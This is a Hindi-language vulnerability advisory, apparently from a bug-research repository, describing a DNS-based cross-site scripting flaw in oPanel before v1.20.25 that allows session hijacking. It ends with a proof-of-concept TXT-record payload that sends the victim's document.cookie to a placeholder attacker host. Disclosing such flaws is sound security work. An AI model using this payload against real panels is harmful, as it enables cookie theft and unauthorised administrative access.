bugresearch/cve-2026-50980oPanel DNS-आधारित क्रॉस-साइट स्क्रिप्टिंग (XSS) और सेशन हाइजैकिंग
oPanel (v1.20.25 से पहले के संस्करण) में DNS प्रतिक्रियाओं के अनुचित प्रबंधन और सैनिटाइज़ेशन के कारण क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता मौजूद है। जब पैनल किसी हमलावर-नियंत्रित नेमसर्वर के विरुद्ध DNS क्वेरी करता है (जैसे, डोमेन जानकारी प्राप्त करना, DNS प्रसार की जाँच करना, या TXT रिकॉर्ड क्वेरी करना), तो यह लौटाए गए DNS रिकॉर्ड को पर्याप्त HTML एन्कोडिंग के बिना सीधे वेब इंटरफ़ेस में प्रतिबिंबित करता है।
एक हमलावर इसका फायदा उठाकर एक दुष्ट (rogue) DNS सर्वर को TXT रिकॉर्ड क्वेरीज़ का जवाब दुर्भावनापूर्ण JavaScript पेलोड के साथ देने के लिए कॉन्फ़िगर कर सकता है। जब कोई प्रमाणित oPanel उपयोगकर्ता (जैसे व्यवस्थापक) उस पृष्ठ को देखता है जहाँ DNS प्रतिक्रिया प्रदर्शित होती है, तो पेलोड उनके ब्राउज़र सत्र के संदर्भ में निष्पादित हो जाता है।
सफल शोषण हमलावर को पीड़ित के ब्राउज़र में मनमाना JavaScript निष्पादित करने की अनुमति देता है। जैसा कि प्रूफ ऑफ कॉन्सेप्ट में प्रदर्शित किया गया है, इसका उपयोग संवेदनशील प्रमाणीकरण कुकीज़ (document.cookie) चुराने के लिए किया जा सकता है, जिससे पूर्ण सत्र अपहरण और oPanel वातावरण तक अनधिकृत व्यवस्थापकीय पहुंच प्राप्त होती है।
शोषण के लिए हमलावर को एक दुर्भावनापूर्ण DNS सर्वर और बाहर निकाले गए डेटा को कैप्चर करने हेतु एक HTTP लिसनर स्थापित करना आवश्यक है।
हमलावर UDP पोर्ट 53 पर एक दुष्ट DNS सर्वर चलाता है जो किसी भी TXT क्वेरी का जवाब XSS पेलोड के साथ देने के लिए कॉन्फ़िगर किया गया है।
दुर्भावनापूर्ण TXT रिकॉर्ड पेलोड:
<script>new Image().src='http://<ATTACKER_IP>:<HTTP_PORT>/log?cookie='+document.cookie;</script>